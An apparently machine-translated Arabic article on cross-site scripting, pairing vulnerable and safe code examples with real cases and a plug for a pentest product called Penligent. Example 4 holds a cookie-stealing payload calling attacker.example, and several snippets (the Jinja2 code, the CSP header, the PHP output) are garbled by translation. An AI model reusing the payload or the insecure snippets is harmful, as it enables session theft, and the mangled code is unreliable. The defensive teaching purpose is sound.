البرمجة النصية عبر المواقع (XSS) هي ثغرة في الويب حيث يقوم المهاجم بحقن شيفرة برمجية خبيثة، عادةً ما تكون JavaScript، في صفحات الويب التي يستعرضها المستخدمون الآخرون. تُنفَّذ التعليمات البرمجية المحقونة في متصفح الضحية ضمن سياق الموقع الموثوق به، مما يمكّن المهاجمين من سرقة ملفات تعريف الارتباط، أو اختطاف الجلسات، أو استخراج البيانات، أو تنفيذ إجراءات نيابةً عن المستخدمين.
لماذا لا تزال XSS مشكلة عالمية في عام 2025
استمرت XSS كواحدة من أكثر ثغرات الويب شيوعًا لعقود من الزمن. وقد اشتهرت لأول مرة على نطاق واسع في أواخر التسعينيات مع ظهور المحتوى الديناميكي والمدخلات التي ينشئها المستخدم على منصات الويب.
تؤكد الدراسات الاستقصائية الأخيرة أن XSS لا تزال تؤثر على تطبيقات الويب، خاصةً مع الأطر الحديثة، وواجهات برمجة التطبيقات، والعرض الديناميكي، والمحتوى النصي الغني، وعمليات التكامل مع أطراف ثالثة.
يظل أي تطبيق ويب يقبل مدخلات المستخدم - من التعليقات إلى واجهات برمجة التطبيقات JSON - دون تعقيم أو ترميز مناسب للإخراج معرضًا للخطر.

أمثلة على اختراق XSS في العالم الحقيقي
ERPNext / Frappe - CVE-2025-56379 XSS المخزنة
في عام 2025، كشفت ERPNext/Frappe عن ثغرة XSS مخزنة في وحدة المدونة (الإصداران 15.67.0 / 15.72.4). يمكن للمستخدمين المصادق عليهم حقن HTML/JavaScript خبيثة في المحتوى المجال. يتم تنفيذ الحمولة في متصفحات المستخدمين الذين يشاهدون منشور المدونة، مما يعرضهم لخطر اختطاف الجلسة وسرقة البيانات.
هذا يدل على أنه حتى المنصات مفتوحة المصدر التي تتم صيانتها بشكل جيد تكون عرضة للخطر إذا تم عرض HTML من إنشاء المستخدم دون تعقيم مناسب.
حالة تاريخية: دودة سامي على ماي سبيس (2005)
استغلت دودة سامي XSS في الملفات الشخصية لمستخدمي MySpace. انتشر الفيروس إلى أكثر من مليون ملف شخصي في 20 ساعة، مما يوضح كيف يمكن لفيروس XSS الانتشار بسرعة واختطاف جلسات المستخدمين.
أنواع XSS ونواقل الهجوم XSS
يأتي XSS في عدة أشكال:
| النوع | الوصف | ناقل الهجوم النموذجي |
|---|---|---|
| انعكاس XSS | تنعكس الحمولة على الفور من الطلب إلى الاستجابة | معلمات عنوان URL، حقول البحث |
| XSS المخزنة | يتم تخزين الحمولة على الخادم وتنفيذها لاحقًا | التعليقات والمدونات وملفات تعريف المستخدمين |
| XSS المستندة إلى DOM | البرامج النصية من جانب العميل تحقن محتوى غير آمن | تطبيقات الصفحة الواحدة، تجزئة عناوين URL، قوالب JS |
| XSS أعمى | يتم تنفيذ الحمولة بدون ملاحظات فورية | لوحات تحكم المسؤول، والسجلات، ورسائل البريد الإلكتروني |
تتضمن الهجمات الحديثة أيضًا حمولات متعددة اللغات قادرة على التهرب من أدوات التعقيم وإحداث حالات XSS عمياء. (arxiv.org)
عواقب هجمات XSS
- اختطاف الجلسة والاستيلاء على الحساب
- الإجراءات غير المصرح بها/انتحال شخصية المستخدم
- سرقة البيانات/التعرض للمعلومات الحساسة
- التشويه أو التصيد الاحتيالي أو الهندسة الاجتماعية
- تسليم البرمجيات الخبيثة المستمرة
حتى تطبيقات الويب الصغيرة معرضة للخطر إذا كانت تعرض مدخلات المستخدم بشكل غير آمن.
أمثلة على الهجوم والدفاع
مثال 1 - XSS المنعكسة (PHP + HTML)
عرضة للخطر:
ص
<?php $search = $_GET['q'] ?? '';?><html> <body> <p>نتائج البحث: .</p> </body> </html>
إصدار أكثر أماناً:
ص
<?php $search = $_GET['q'] ?? '';$safe = htmlspecialchars($search, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');?><html> <body> <p>نتائج البحث: .</p> </body> </html>

مثال 2 - XSS مخزنة في التعليقات (جافا سكريبت + HTML)
التقديم الضعيف:
html
<div class="comments"><p class="user-comment">{{{comment_from_f_db}}</p></div>
التقديم الآمن باستخدام DOMPurify:
html
<script src="<https://unpkg.com/[email protected]/dist/purify.min.js>"></script><script> const raw = userCommentFromServer;const clean = DOMPurify.sanitize(raw);document.querySelector('.user-comment').innerHTML = clean;</script>
مثال 3 - XSS المستند إلى DOM عبر عنوان URL
عرضة للخطر:
جافا سكريبت
const msg = document.getElementById('msg')؛ msg.innerHTML = location.hash.substring(1);
آمنة:
جافا سكريبت
const msg = document.getElementById('msg')؛ msg.textContent = location.hash.substring(1);
مثال 4 - XSS أعمى / متأخر
حمولة الهجوم
html
<img src="x" onerror="fetch('<https://attacker.example/p?c='+document.cookie>)">
الدفاع
- تعقيم مدخلات HTML الخاصة بالمستخدم من جانب الخادم
- تطبيق قائمة بيضاء صارمة لعلامات/سمات HTML
- فرض سياسة أمان المحتوى (CSP)
بي جي إس كيو إس كيو إل
سياسة المحتوى-الأمان-المحتوى: افتراضي-المصدر "ذاتي"؛ نص-المصدر النصي "ذاتي"؛ كائن-المصدر "لا شيء"؛ قاعدة-وري "ذاتي"؛ إطار-المستشارين "لا شيء";
مثال 5 - حقن واجهة برمجة تطبيقات JSON (جافا سكريبت)
عرضة للخطر:
جافا سكريبت
fetch('/API/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').innerHTML = data.username; }));
آمنة:
جافا سكريبت
fetch('/API/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').textContent = data.username; }));
مثال 6 - حقن القالب (بايثون/جينجا2)
عرضة للخطر:
بايثون
من jinja2 استيراد قالب user_input = "{{7*7}}}"tpl = قالب (user_input) طباعة (tpl.render())
آمنة:
بايثون
من jinja2.sandbox.sandbox استيراد SandboxedEnvironment env = SandboxedEnvironment() tpl = env.from_string(user_input) طباعة(tpl.render())

دروس العالم الحقيقي من GitHub (2018)
كان GitHub يحتوي على XSS مخزن في عرض Markdown. حيث يمكن للمستخدمين إدراج كود JS في ملفات README؛ وأي زائر يفتح صفحة المستودع سينفذ الكود. قام GitHub بإصلاحه عن طريق تعقيم المدخلات وتقييد علامات HTML المسموح بها. (أمان GitHub)
دمج منع XSS في عمليات سير العمل الحديثة
- ترميز المخرجات وتعقيمها عبر جميع السياقات: html، js، css، url
- استخدام المطهرات الحديثة: تنقية DOMPurify، ومكتبات الهروب من جانب الخادم، ومحركات القوالب ذات الهروب التلقائي
- تطبيق CSP:: منع البرامج النصية المضمنة وتقييد مصادر البرامج النصية
- الاختبار الآلي:: التحليل الساكن، والمسح الديناميكي، والفحص الديناميكي، واختبارات XSS العمياء
- اختبارات الاختراق اليدوية:: التحقق من صحة ناقلات الحقن المعقدة أو متعددة الخطوات
- التدقيق والمراقبة:: تسجيل المدخلات المشبوهة، ومراجعة محتوى المسؤول/ الطرف الثالث، وفرض مراجعة الرموز
تكامل Penligent لاختبار XSS الآلي
يمكن لفرق الأمن الحديثة الاستفادة من منصات اختبار الاختراق الذكية مثل بنليجنت لأتمتة اكتشاف XSS عبر سياقات متعددة:
- الفحص المستمر لنواقل XSS المنعكسة والمخزنة و DOM و XSS العمياء
- حقن الحمولة والتحليل الآلي للحمولة
- الإبلاغ واقتراحات الإصلاح
- التكامل مع خطوط أنابيب CI/CD لسير عمل DevSecOps
باستخدام Penligent، تقلل الفرق من الجهد اليدوي وتحسّن التغطية وتضمن الحماية المستمرة ضد تهديدات XSS المتطورة.
الملخص
- لا تزال ثغرة XSS من أهم ثغرات الويب على الرغم من الوعي بها منذ عقود.
- يتطلب الدفاع تدابير متعددة الطبقات: الترميز، والتعقيم، و CSP، وواجهات برمجة التطبيقات الآمنة، والاختبار المستمر.
- يوفر الاختبار الآلي واليدوي معاً حماية قوية، خاصة في التطبيقات الديناميكية الحديثة.
- منصات ذكية مثل بنليجنت تحسين سير عمل الأمان، واكتشاف XSS والتخفيف من آثارها بشكل استباقي.
المراجع
ورقة الغش في الوقاية من XSS من OWASP
مستندات ويب MDN - نظرة عامة على XSS

